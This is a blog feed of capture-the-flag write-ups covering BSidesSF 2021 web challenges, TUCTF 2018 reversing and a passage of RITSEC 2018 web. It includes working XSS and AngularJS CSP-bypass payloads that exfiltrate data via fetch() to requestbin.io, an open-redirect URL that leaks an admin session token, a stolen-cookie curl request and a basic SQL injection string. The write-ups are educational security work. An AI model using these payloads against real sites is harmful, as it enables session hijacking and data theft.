tag:blogger.com,1999:blog-65167463408136898872024-02-06T19:52:43.845-08:00FADEC0D3.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comBlogger61125tag:blogger.com,1999:blog-6516746340813689887.post-5467840936090224252021-03-15T03:23:00.004-07:002021-03-15T03:27:05.099-07:00BSidesSF 2021 - Web Challenges
<style> body { font-size: 1.2em; background: #000; color: #fff; } pre { font-family: courier; } ul { padding: 0 auto; } li { padding: 0; margin: 0.5em; } h2 { margin: 1.5em 0; text-decoration: underline; font-size: 1.3em; } h3 { margin: 0; font-size: 1.2em; } .language-flag { font-size: 1.3em; font-weight: 200; padding: 0.8em; display: block; background: #090909; border: 1px solid #222; color: #00FF10; } a { color: #EEFF00; } a:hover { color: #00FF00; } img { margin: 1.2em; margin-top: 1em; } </style>
<ul>
<li><h3><a href="#cute-srv">CuteSRV (101)</a></h3></li>
<li><h3><a href="#csp-1">CSP 1 (101)</a></h3></li>
<li><h3><a href="#csp-2">CSP 2 (101)</a></h3></li>
</ul>
<h2 id="cute-srv">CuteSRV (101)</h2>
<div class="separator" style="clear: both;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQWuTLXd5XLFhGMPwsqjSY6Ih0paPa6kL2ULA7W82EUK1bEbnexXxMpBYMD0TuiIxrLYVBuTO9njr4TeRTNcsFrE6MTLLulP2332LixQA9EWrXcPOHB5kgPznYNg1Xl2oof9sSOersCYw/s0/cutesrv-front3.png" style="display: block; padding: 1em 0; text-align: center; "><img alt="" border="0" data-original-height="748" data-original-width="752" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQWuTLXd5XLFhGMPwsqjSY6Ih0paPa6kL2ULA7W82EUK1bEbnexXxMpBYMD0TuiIxrLYVBuTO9njr4TeRTNcsFrE6MTLLulP2332LixQA9EWrXcPOHB5kgPznYNg1Xl2oof9sSOersCYw/s0/cutesrv-front3.png"/></a></div>
Description:
<pre><code class="language-md">Last year was pretty tough for all of us.
I built this service of cute photos to help cheer you up.
We do moderate for cuteness, so no inappropriate photos please!
https://cutesrv-0186d981.challenges.bsidessf.net
(author: matir)
</code></pre>
<p>This challenge was fun, cute and straight-forward once the bug is found.</p>
<p>First we're presented with a page of cute photos and the nav bar allows us to
<code>Login</code> or <code>Submit</code> a new image for review.</p>
<p>Looking in the source, there's a <code>/flag.txt</code> route which must be the goal of
the challenge, but when visiting it we get a message <code>'Not Authorized'</code>.</p>
<p>If we visit <code>Login</code> we can click the only link available and it will
automatically log us in and redirect us to the main page.</p>
<div class="separator" style="clear: both;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvnp-3NA4TYP146aDU_VoXxFEsmlD1kU903draab2LIT5aWD2zGL-p2imws8OVy0MYR-oJk60SemIbzLl22dNpuASzaVPHJ4owprCRQxxaxR4CcgmmFi0CqIlULGHkMtbsxKT4roUgHTU/s0/cutesrv-login.png" style="display: block; padding: 1em 0; text-align: center; "><img alt="" border="0" data-original-height="301" data-original-width="594" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvnp-3NA4TYP146aDU_VoXxFEsmlD1kU903draab2LIT5aWD2zGL-p2imws8OVy0MYR-oJk60SemIbzLl22dNpuASzaVPHJ4owprCRQxxaxR4CcgmmFi0CqIlULGHkMtbsxKT4roUgHTU/s0/cutesrv-login.png"/></a></div>
<p>on <code>/submit</code> it gives us the ability to submit a URL which the admin will
visit. This is typical in a lot of CSRF challenges, so we can start by checking
the User-Agent and other features when it visits our link, pointing to a server
we own or using something like <a href="https://requestbin.io/">https://requestbin.io/</a>.</p>
<p>Even if we find XSS, the site is using HttpOnly cookies, so we probably need to
find something else.</p>
<div class="separator" style="clear: both;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlqMibVYLv7fMIrXBdNjeVzJD2S2dwgfbwo-eFJdjd6Q78PFBJHkmP78f3cMEhg4tH95m8mhhHBIbKy4KoLXKR0r3ntOrWb7Y7PIMPdViDfj5apOD6X5CynnovyBUd5sLqSEjeWQ3fWEU/s0/submit-page.png" style="display: block; padding: 1em 0; text-align: left; "><img alt="" border="0" data-original-height="437" data-original-width="769" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlqMibVYLv7fMIrXBdNjeVzJD2S2dwgfbwo-eFJdjd6Q78PFBJHkmP78f3cMEhg4tH95m8mhhHBIbKy4KoLXKR0r3ntOrWb7Y7PIMPdViDfj5apOD6X5CynnovyBUd5sLqSEjeWQ3fWEU/s0/submit-page.png"/></a></div>
<p>Checking out the <code>Login</code> route again while watching the requests, it does
something interesting. When requesting <code>/check</code> from the login service it will
include the session token in the URL, but does not restrict which URL it
redirects to. Using this bug we can force the Admin user to send their own
session token to our site instead.</p>
<div class="separator" style="clear: both;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_sTVE1ZEXzI5yLFmsYmexuwGcDI4cZW6wnV3vaVLAV66eiVRsBCg3n7NgD780r1zBXXlpqUjnCu7Dzi5qAJk6OWyfqrJZryFWXbe4zfMD1k5JlY_SbnSGo_kfEZ6rBPHE2b75fny_XFw/s0/redirects.png" style="display: block; margin: 0 0 0 -60px; text-align: center; clear: left; float: left;"><img alt="" border="0" data-original-height="69" data-original-width="803" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_sTVE1ZEXzI5yLFmsYmexuwGcDI4cZW6wnV3vaVLAV66eiVRsBCg3n7NgD780r1zBXXlpqUjnCu7Dzi5qAJk6OWyfqrJZryFWXbe4zfMD1k5JlY_SbnSGo_kfEZ6rBPHE2b75fny_XFw/s0/redirects.png"/></a></div>
<p>We can use RequestBin again to steal the session token <code>authtok</code>, submitting this link to the admin:</p>
<pre><code>https://loginsvc-0af88b56.challenges.bsidessf.net/check?continue=https%3A%2F%2Frequestbin.io%2F1oar7lu1
</code></pre>
<p>Now we can reach the <code>/flag.txt</code> route which is only available to the admin:</p>
<pre><code class="language-shell">curl https://cutesrv-0186d981.challenges.bsidessf.net/flag.txt \
-b 'loginsid=eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJhdXRodG9rIiwiZXhwIjoxNjE4NDYyMjkyLCJpYXQiOjE2MTU3ODM4OTIsImlzcyI6ImxvZ2luc3ZjIiwibmJmIjoxNjE1NzgzODkyLCJzdWIiOiJhZG1pbiJ9.iA3lgwhmhOPNKh0_Wxmi923EOWdcUWcS-cIA_lxPhtExEGMeGkep3zweJ-MXtFyOwiDnMZ7Uuyuth9mFQ0lpMQ'
</code></pre>
<p>And we get the Flag!</p>
<pre><code class="language-flag">FLAG: CTF{i_hope_you_made_it_through_2020_okay}
</code></pre>
<br />
<h2 id="csp-1">CSP 1 (101)</h2>
<div class="separator" style="clear: both;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhkBVzU8Gjhn44gomGXWLzqJOdVMlP2XE83zrkm0FccRM9jkGGZvh9NyRASrRQWEW-3b1G1pcBU26XmePDyivnaEActl3WZBHq13XBphhSplVujQ2r2AkOGFY5998XTTn8eFQu4tzMxxk/s0/csp1.png" style="display: block; padding: 1em 0; text-align: center; "><img alt="" border="0" data-original-height="485" data-original-width="828" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhkBVzU8Gjhn44gomGXWLzqJOdVMlP2XE83zrkm0FccRM9jkGGZvh9NyRASrRQWEW-3b1G1pcBU26XmePDyivnaEActl3WZBHq13XBphhSplVujQ2r2AkOGFY5998XTTn8eFQu4tzMxxk/s0/csp1.png"/></a></div>
<p>Description:</p>
<pre><code class="language-md">CSP challenges are back! Can you bypass the CSP to steal the flag?
https://csp-1-581db2b1.challenges.bsidessf.net
(flag path: /csp-one-flag)
(author: itsc0rg1)
</code></pre>
<p>If we look at the Content Security Policy (CSP) for this page, we can see it's
very open. To identify this, you can learn each rule or use a tool such as <a href="https://csp-evaluator.withgoogle.com/">https://csp-evaluator.withgoogle.com/</a>.</p>
<p>The CSP in this case was:</p>
<pre><code class="language-javascript">default-src 'self' 'unsafe-inline' 'unsafe-eval'; script-src-elem 'self'; connect-src *
</code></pre>
<div class="separator" style="clear: both;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggOzJwQkIYwhUKYwQGY6cjkDj9fTdHPofaw2W0AhfFeK5guI-O2pXDfpmYfy2RW9iH_3kT7ZLJDIyfBtCqrbZ3pvOwW3yJZ6GD-fvbMv-UXx5HRkVcsrS80pZD3xNc0RCLResldalOGEY/s0/csp1-csp.png" style="display: block; padding: 1em 0; text-align: center; "><img alt="" border="0" data-original-height="332" data-original-width="580" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggOzJwQkIYwhUKYwQGY6cjkDj9fTdHPofaw2W0AhfFeK5guI-O2pXDfpmYfy2RW9iH_3kT7ZLJDIyfBtCqrbZ3pvOwW3yJZ6GD-fvbMv-UXx5HRkVcsrS80pZD3xNc0RCLResldalOGEY/s0/csp1-csp.png"/></a></div>
<p>The unsafe-inline keyword will allow execution of arbitrary inline scripts.</p>
<p>Let's start with a simple XSS payload:</p>
<pre><code class="language-html"><img src=x onerror=alert(1) />
</code></pre>
<div class="separator" style="clear: both;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2SNQK-2tmJOxyst3UvM_IeE3lQmHf0pf8OrU4izSlWW-poArwQu746LdxyJvA-p3Ueh5TahBgLeSc5g-77K3UJOF9l8xuDmiUK7oy0PRK7Atkl90Odd2yBJKpRqoKy8K_E6JUAHEWNw/s0/csp1-alert1.png" style="display: block; padding: 1em 0; text-align: center; clear: left; float: left;"><img alt="" border="0" data-original-height="482" data-original-width="819" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2SNQK-2tmJOxyst3UvM_IeE3lQmHf0pf8OrU4izSlWW-poArwQu746LdxyJvA-p3Ueh5TahBgLeSc5g-77K3UJOF9l8xuDmiUK7oy0PRK7Atkl90Odd2yBJKpRqoKy8K_E6JUAHEWNw/s0/csp1-alert1.png"/></a></div>
<p>This already works! So now we only need to get the flag from the
<code>/csp-one-flag</code> route after the admin visits it. We can use <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">fetch</a> for this.
We'll also use <a href="https://requestbin.io/">https://requestbin.io/</a> again.</p>
<p>Here's the final payload submitted to the admin:</p>
<pre><code class="language-html"><img src=x onerror='fetch("/csp-one-flag").then(x => x.text()).then(t => fetch("https://requestbin.io/yj1y96yj?x=" + t))' />
</code></pre>
<p>And we get a flag back on the RequestBin side:</p>
<pre><code class="language-flag">CTF{Can_Send_Payloads}
</code></pre>
<br />
<h2 id="csp-2">CSP 2 (101)</h2>
<p>Description:</p>
<pre><code class="language-md">CSP challenges are back! Can you bypass the CSP to steal the flag?
https://csp-2-f692634b.challenges.bsidessf.net
(flag path: /csp-two-flag)
(author: itsc0rg1)
</code></pre>
<p>This challenge was simmilar to the last one where we need to send an XSS
payload to an admin to get the flag.</p>
<p>Checking the CSP this time we have:</p>
<pre><code class="language-javascript">script-src 'self' cdnjs.cloudflare.com 'unsafe-eval'; default-src 'self' 'unsafe-inline'; connect-src *; report-uri /csp_report
</code></pre>
<p>This one has the issue of using <code>script-src</code> from cdnjs.cloudflare.com. If we can
use a script from CloudFlare to execute arbitrary JS, we win!</p>
<p>To do this we can use Angular to evaluate JS within an Angular context.
Here's a simple example to test:</p>
<pre><code class="language-javascript"><script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.0/angular.min.js></script>
<x ng-app>{{$new.constructor('alert(1)')()}}
</code></pre>
<p>This payload seems to work!</p>
<p>Now we just need to exfiltrate the flag like the last challenge using fetch.</p>
<pre><code class="language-javascript"><script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.0/angular.min.js></script>
<x ng-app>{{$new.constructor('fetch("/csp-two-flag").then(x => x.text()).then(t => fetch("https://requestbin.io/1m40bkh1?x=" + t))')()}}
</code></pre>
<p>Then we get the Flag on RequestBin:</p>
<pre><code class="language-flag">CTF{Can_Still_Pwn}
</code></pre>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@9.13.1/build/styles/arta.min.css">
<script src="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@9.13.1/build/highlight.min.js"></script>
<script>hljs.initHighlightingOnLoad()</script>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-5741605427539700542018-11-25T23:58:00.003-08:002018-11-25T23:58:26.401-08:00TUCTF 2018 - Reversing<style>
body {
font-size: 1.2em;
background: #000;
color: #fff;
}
pre {
font-family: courier;
}
ul {
padding: 0 auto;
}
li {
padding: 0;
margin: 0.5em;
}
h2 {
margin: 1.5em 0;
text-decoration: underline;
font-size: 1.3em;
}
h3 {
margin: 0;
font-size: 1.2em;
}
.language-flag {
font-size: 1.3em;
font-weight: 200;
padding: 0.8em;
display: block;
background: #090909;
border: 1px solid #222;
color: #00FF10;
}
a {
color: #EEFF00;
}
a:hover {
color: #00FF00;
}
img {
margin: 2.5em;
margin-top: 1em;
}
</style>
<h2 id="toc">Table of Contents</h2>
<ul>
<li>
<h3><a href="#danger-zone">Danger Zone (112)</a></h3>
</li>
<li>
<h3><a href="#yeahright">yeahright (149)</a></h3>
</li>
<li>
<h3><a href="#shoop">Shoop (370)</a></h3>
</li>
</ul>
<h2 id="danger-zone">Danger Zone (112)</h2>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKw7TViKJo7o_3InTz6AVMKXMUSzwCzpVg5hmU5y4DLiLxuZEwMq_nmX80dcH5_BfrVnGuIeIVUn9hTdfbTnfvGJ_zVke7SsiLonX7NoZ5gWBZ7hN_2L8FbVRzgJ4_mzzlrfMK3zr1H34/s1600/red-line.jpg" imageanchor="1" ><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKw7TViKJo7o_3InTz6AVMKXMUSzwCzpVg5hmU5y4DLiLxuZEwMq_nmX80dcH5_BfrVnGuIeIVUn9hTdfbTnfvGJ_zVke7SsiLonX7NoZ5gWBZ7hN_2L8FbVRzgJ4_mzzlrfMK3zr1H34/s640/red-line.jpg" width="640" height="429" data-original-width="1600" data-original-height="1072" /></a>
Description:
<pre><code>Difficulty: easy
Legend says, this program was written by Kenny Loggins himself.
</code></pre>
<p>In the first challenge we're given a <code>dangerzone.pyc</code> file.</p>
<p>First we can extract the original python file using <a href="https://github.com/rocky/python-uncompyle6">uncompyle6</a>:</p>
<pre><code class="language-shell">$ uncompyle6 dangerzone.pyc > dangerzone.py
</code></pre>
<p>This gives us the original source:</p>
<pre><code class="language-py">import base64
def reverse(s):
return s[::-1]
def b32decode(s):
return base64.b32decode(s)
def reversePigLatin(s):
return s[-1] + s[:-1]
def rot13(s):
return s.decode('rot13')
def main():
print 'Something Something Danger Zone'
return '=YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ'
if __name__ == '__main__':
s = main()
print s
</code></pre>
<p>Looks like we have a lot of unused dead code functions and a return
value (<code>s</code>) which is is shown when running the pyc normally:</p>
<pre><code>Something Something Danger Zone
=YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ
</code></pre>
<p>We probably didn't need to recover the python file to solve it, but we'll use
the given functions to make our lives easier.</p>
<p>First this looks like base64, so
we can use the provided <code>b32decode</code> after <code>reverse</code>, because <code>=</code> always goes at
the end of a base64 encoded string:</p>
<pre><code class="language-py">print b32decode(reverse(s))
</code></pre>
<p>This gives us:</p>
<pre><code>Something Something Danger Zone
HPGS{e3q_y1a3_0i3ey04q}G
</code></pre>
<p>Looks very close to a flag! : )</p>
<p>Now we have <code>reversePigLatin</code> (rotates misplaced end character to the front) &
<code>rot13</code> remaining:</p>
<pre><code class="language-py">print rot13(reversePigLatin(b32decode(reverse(s))))
</code></pre>
<p>And that was it!</p>
<pre><code class="language-flag">TUCTF{r3d_l1n3_0v3rl04d}
</code></pre>
<h2 id="yeahright">yeahright (149):</h2>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCPIr50EPaWJ1JnhmGkeHQOTnHPfyLEkbxwuD1BwSsxombmRw7vMCDJ_VsJHMdOU7Z2zD304VsXBl-g4VTSvOXVhP0SzJWGvrjC18ByE6L6_WzK_P18XOXyx_bKy-gZOVW_3N8hNLFf4Y/s1600/yeah-right.gif" imageanchor="1" ><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCPIr50EPaWJ1JnhmGkeHQOTnHPfyLEkbxwuD1BwSsxombmRw7vMCDJ_VsJHMdOU7Z2zD304VsXBl-g4VTSvOXVhP0SzJWGvrjC18ByE6L6_WzK_P18XOXyx_bKy-gZOVW_3N8hNLFf4Y/s640/yeah-right.gif" width="640" height="360" data-original-width="498" data-original-height="280" /></a>
Description:
<pre><code>Difficulty: very easy
What an insensitive little program.
Show it who's boss!
nc 18.224.3.130 12345
</code></pre>
<p>This challenge went quickly after looking at the strings:</p>
<pre><code class="language-shell">$ r2 yeahright
[0x00000810]> iz
[Strings]
Num Paddr Vaddr Len Size Section Type String
000 0x00000a98 0x00000a98 40 41 (.rodata) ascii 7h3_m057_53cr37357_p455w0rd_y0u_3v3r_54w
001 0x00000ac1 0x00000ac1 20 21 (.rodata) ascii *Ahem*... password?
002 0x00000ad6 0x00000ad6 10 11 (.rodata) ascii yeahright!
003 0x00000ae1 0x00000ae1 15 16 (.rodata) ascii /bin/cat ./flag
</code></pre>
<p>Looks like it checks a password (hard-coded) and cats the flag if it's correct, trying it locally we get
the dummy flag with that 'secret' string:</p>
<pre><code class="language-shell">$ ./yeahright
*Ahem*... password? 7h3_m057_53cr37357_p455w0rd_y0u_3v3r_54w
flag{test-flag-here}
</code></pre>
<p>Trying it remotely we get the real flag:</p>
<pre><code class="language-shell">$ echo '7h3_m057_53cr37357_p455w0rd_y0u_3v3r_54w' | nc 18.224.3.130 12345
</code></pre>
<pre><code class="language-flag">TUCTF{n07_my_fl46_n07_my_pr0bl3m}
</code></pre>
<h2 id="shoop">Shoop (370):</h2>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOoRAzzvyLfEf7Dy80vcO_EFUUmghw6NE2u621kGXvsm7W3h1YiBF1Blq-KnJGr4bdQ_FG4zkFjCKt5a46e5HIDspZfsrbfJxXtG2oD8Rx4H8H_DUSQYf5EadG3lZ9N-rG8nRaJrDMOkM/s1600/lover.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOoRAzzvyLfEf7Dy80vcO_EFUUmghw6NE2u621kGXvsm7W3h1YiBF1Blq-KnJGr4bdQ_FG4zkFjCKt5a46e5HIDspZfsrbfJxXtG2oD8Rx4H8H_DUSQYf5EadG3lZ9N-rG8nRaJrDMOkM/s640/lover.jpg" width="640" height="480" data-original-width="480" data-original-height="360" /></a></div>
Description:
<pre><code>Difficulty: easy
Black Hole Sun, won't you come
and put sunshine in my bag
I'm useless, but not for long
so whatcha whatcha whatcha want?
nc 18.220.56.147 12345
</code></pre>
<p>This challenge also had a <code>cat ./flag</code> function with an interesting secret value:</p>
<pre><code class="language-shell">$ rabin2 -z shoop
vaddr=0x00000c24 paddr=0x00000c24 ordinal=000 sz=24 len=23 section=.rodata type=ascii string=Gimme that good stuff:
vaddr=0x00000c3c paddr=0x00000c3c ordinal=001 sz=17 len=16 section=.rodata type=ascii string=Survey Says! %s\n
vaddr=0x00000c4d paddr=0x00000c4d ordinal=002 sz=22 len=21 section=.rodata type=ascii string=jmt_j]tm`q`t_j]mpjtf^ <-
vaddr=0x00000c63 paddr=0x00000c63 ordinal=003 sz=14 len=13 section=.rodata type=ascii string=That's right!
vaddr=0x00000c71 paddr=0x00000c71 ordinal=004 sz=16 len=15 section=.rodata type=ascii string=/bin/cat ./flag
vaddr=0x00000c81 paddr=0x00000c81 ordinal=005 sz=18 len=17 section=.rodata type=ascii string=Close... probably
</code></pre>
<p>If we look at an ltrace run of the binary, we can see the expected input buffer size:</p>
<pre><code class="language-shell">$ ltrace -fi ./shoop
[pid 5129] [0x7f2ed20759b6] setvbuf(0x7f2ed1e4a400, 0, 2, 20) = 0
[pid 5129] [0x7f2ed20759d4] setvbuf(0x7f2ed1e4a640, 0, 2, 20) = 0
[pid 5129] [0x7f2ed20759eb] malloc(22) = 0x7f2ed2516010
[pid 5129] [0x7f2ed2075a09] memset(0x7f2ed2516010, '\0', 22) = 0x7f2ed2516010
[pid 5129] [0x7f2ed2075a1a] printf("Gimme that good stuff: "Gimme that good stuff: ) = 23
[pid 5129] [0x7f2ed2075a31] read(0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA , "AAAAAAAAAAAAAAAAAAAAA", 21) = 21
[pid 5129] [0x7f2ed2075a3e] malloc(21) = 0x7f2ed2516030
[pid 5129] [0x7f2ed2075a95] memcpy(0x7f2ed2516010, "AAAAAAAAAAAAAAAAAAAAA", 21) = 0x7f2ed2516010
[pid 5129] [0x7f2ed2075b34] memcpy(0x7f2ed2516010, "<<<<<<<<<<<<<<<<<<<<<", 21) = 0x7f2ed2516010
[pid 5129] [0x7f2ed2075b4c] printf("Survey Says! %s\n", "<<<<<<<<<<<<<<<<<<<<<"Survey Says! <<<<<<<<<<<<<<<<<<<<<) = 35
[pid 5129] [0x7f2ed2075b65] memcmp(0x7f2ed2516010, 0x7f2ed2075c4d, 21, -1) = 0xffffffd2
[pid 5129] [0x7f2ed2075b8f] puts("Close... probably"Close... probably) = 18
[pid 5129] [0xffffffffffffffff] +++ exited (status 0) +++
</code></pre>
<p>It reads 21 bytes using <code>read(...)</code> and <code>malloc</code>'s the same length.</p>
<p>If we look at the secret string from the strings output, it's also 21 bytes:</p>
<pre><code class="language-shell">jmt_j]tm`q`t_j]mpjtf^
</code></pre>
<p>Seems like it transformed the input character <code>'A'</code> into <code>'<'</code>, this would be a shift of 5 if it's that simple:</p>
<pre><code class="language-py">>>> print ord('A') - ord('<')
5
</code></pre>
<p>Trying a couple other values it seems to keep the pattern:</p>
<pre><code class="language-shell">$ ./shoop
Gimme that good stuff: AAAABBBBCCCCDDDDEEEE
Survey Says! >>>====<<<<@@@@????>
Close... probably
</code></pre>
<p>We can verify this with a small python list comprehension:</p>
<pre><code class="language-py">>>> ''.join([chr(ord(x) + 5) for x in '>>>====<<<<@@@@????>'])
'CCCBBBBAAAAEEEEDDDDC'
</code></pre>
<p>Hmmmmm, why is it out of order? Seems like it's a shift and order modification.</p>
<p>Let's see if we can map both at once:</p>
<pre><code class="language-shell">$ python -c 'import string; print string.uppercase[:21]' | ./shoop
Gimme that good stuff: Survey Says! FEDCBA@?>=<PONMLKJIHG
Close... probably
$ python
>>> encoded = ''.join([chr(ord(x) + 5) for x in 'FEDCBA@?>=<PONMLKJIHG'])
>>> encoded # inspect encoding placement
'KJIHGFEDCBAUTSRQPONML'
>>> ''.join(sorted(encoded)) # check for data loss
'ABCDEFGHIJKLMNOPQRSTU'
</code></pre>
<p>Looks like we don't lose any characters during the encoding, so we could map each
value from the encoded to the plaintext:</p>
<pre><code class="language-py">dest = 'KJIHGFEDCBAUTSRQPONML'
source = 'ABCDEFGHIJKLMNOPQRSTU'
# dest -> source
mapping = map(lambda ch: source.find(ch), dest)
print mapping
</code></pre>
<p>This gives us the index transposition map:</p>
<pre><code class="language-py">[10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11]
</code></pre>
<p>Next up is to convert the secret string we found using the two
transformations above -- shift & order.</p>
<p>Starting with the shift, it gives us something clean:</p>
<pre><code class="language-py">>>> ''.join([chr(ord(x) + 5) for x in 'jmt_j]tm`q`t_j]mpjtf^'])
'orydobyreveydobruoykc'
</code></pre>
<p>Now we can modify our script to get the correct order:</p>
<pre><code class="language-py">dest = 'KJIHGFEDCBAUTSRQPONML'
source = 'ABCDEFGHIJKLMNOPQRSTU'
target = 'orydobyreveydobruoykc'
# dest -> source
mapping = map(lambda ch: source.find(ch), dest)
result = ''.join(map(lambda m: target[m], mapping))
print result
</code></pre>
<p>The Result:</p>
<pre><code class="language-shell">everybodyrockyourbody
</code></pre>
<p>Attempting this as the password locally drops the fake flag:</p>
<pre><code class="language-shell">$ ./shoop
Gimme that good stuff: everybodyrockyourbody
Survey Says! jmt_j]tm`q`t_j]mpjtf^
That's right!
flag{test-flag-here}
</code></pre>
<p>Trying the remote, we get the flag!</p>
<pre><code class="language-shell">$ echo 'everybodyrockyourbody' | nc 18.220.56.147 12345
Gimme that good stuff: everybodyrockyourbody
Survey Says! jmt_j]tm`q`t_j]mpjtf^
That's right!
TUCTF{5w337_dr34m5_4r3_m4d3_0f_7h353}
</code></pre>
<pre><code class="language-flag">TUCTF{5w337_dr34m5_4r3_m4d3_0f_7h353}
</code></pre>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@9.13.1/build/styles/arta.min.css">
<script src="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@9.13.1/build/highlight.min.js"></script>
<script>hljs.initHighlightingOnLoad()</script>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-86080273112590639802018-11-20T00:53:00.002-08:002018-11-20T00:53:11.837-08:00RITSEC CTF 2018 - Web<style>
body {
font-size: 1.2em;
background: #000;
color: #fff;
}
pre {
font-family: courier;
}
ul {
padding: 0 auto;
}
li {
padding: 0;
margin: 0.5em;
}
h2 {
margin: 1.5em 0;
text-decoration: underline;
font-size: 1.3em;
}
h3 {
margin: 0;
font-size: 1.2em;
}
.language-flag {
font-size: 1.3em;
font-weight: 200;
padding: 0.8em;
display: block;
background: #090909;
border: 1px solid #222;
color: #00FF10;
}
a {
color: #EEFF00;
}
a:hover {
color: #00FF00;
}
img {
margin: 1.5em;
margin-top: 1em;
}
</style>
<h2 id="toc">Table of Contents</h2>
<ul>
<li>
<h3><a href="#space-force">Space Force (100)</a></h3>
</li>
<li>
<h3><a href="#the-tangled-web">The Tangled Web (200)</a></h3>
</li>
<li>
<h3><a href="#crazy-train">Crazy Train (250)</a></h3>
</li>
<li>
<h3><a href="#what-a-cute-dog">What a cute dog! (350)</a></h3>
</li>
<li>
<h3><a href="#lazy-dev">Lazy Dev (400)</a></h3>
</li>
<li>
<h3><a href="#archivr">Archivr (300)</a></h3>
</li>
</ul>
<h2 id="space-force">Space Force (100)</h2>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixry-0NSNq3AcQ1O0HtlHdH6WWVH50fFjrcOv3mOtxREz7WDRtTMq9rL4nzQydm_lJ1274knHbAjl7zIxBJEg8w2Psdw7QlZ9YFEpLEx02UiWAROsu9jlA1dGSLu9KTe40iSslRrQMw4s/s1600/space-force.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixry-0NSNq3AcQ1O0HtlHdH6WWVH50fFjrcOv3mOtxREz7WDRtTMq9rL4nzQydm_lJ1274knHbAjl7zIxBJEg8w2Psdw7QlZ9YFEpLEx02UiWAROsu9jlA1dGSLu9KTe40iSslRrQMw4s/s640/space-force.jpg" width="640" height="427" data-original-width="1600" data-original-height="1067" /></a></div>
The first challenge was basic SQLi:
<pre><code class="language-sql">' or 1=1#
</code></pre>
<div class="separator" style="clear: both; text-align: left; margin-left: -20px; "><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMBIkQEr3lQ20v9u6Y_48qsyn6EXE3p4jwZ_U5s0_RjEqdtm3BSUyr7vIMrvK_lOINtkogyLUfYolk5poZmgKBl-auzGeSUaYcTFG0wLQoE_TxOs_SnUAseovFoWuLXty687CTwWk13xA/s1600/space-force-flag.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMBIkQEr3lQ20v9u6Y_48qsyn6EXE3p4jwZ_U5s0_RjEqdtm3BSUyr7vIMrvK_lOINtkogyLUfYolk5poZmgKBl-auzGeSUaYcTFG0wLQoE_TxOs_SnUAseovFoWuLXty687CTwWk13xA/s1600/space-force-flag.png" width="90%" /></a></div>
This dumped all results including the flag:
<pre><code class="language-flag">RITSEC{hey_there_h4v3_s0me_point$_3ny2Lx}
</code></pre>
<h2 id="the-tangled-web">The Tangled Web (200):</h2>
<a href="https://nostarch.com/tangledweb">
<div class="separator" style="clear: both; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjg_CZvc7_lUS0B1MPhGs_5tb78kJqEX1riy7p6iYQPgtUp4ubNJs2c81LoWS621l23-D7n-YeCUVrYR-l1lOkY0KCMGcJMAN7f8GYEouOqDPAzcDK-IJhXFQ0f3RdBadWibEmhIxx7vfY/s640/tangled-web.png" width="484" height="640" data-original-width="605" data-original-height="800" /></div>
</a>
This challenge had multiple links leading to many pages.
The point of the challenge seemed to teach spidering / mirroring:
<pre><code class="language-shell">$ wget -rm http://fun.ritsec.club:8007/
</code></pre>
<p>Looking for files containing the term <code>flag</code>:</p>
<pre><code class="language-c">$ grep -ri 'flag' .
fun.ritsec.club:8007/Waving.html
17: <th><a href="Fl4gggg1337.html" style="color: white">Flag</a></th>
fun.ritsec.club:8007/Fl4gggg1337.html
18: <p style="color: white">Ha you thought there would be a flag here? Nice try :)</p>
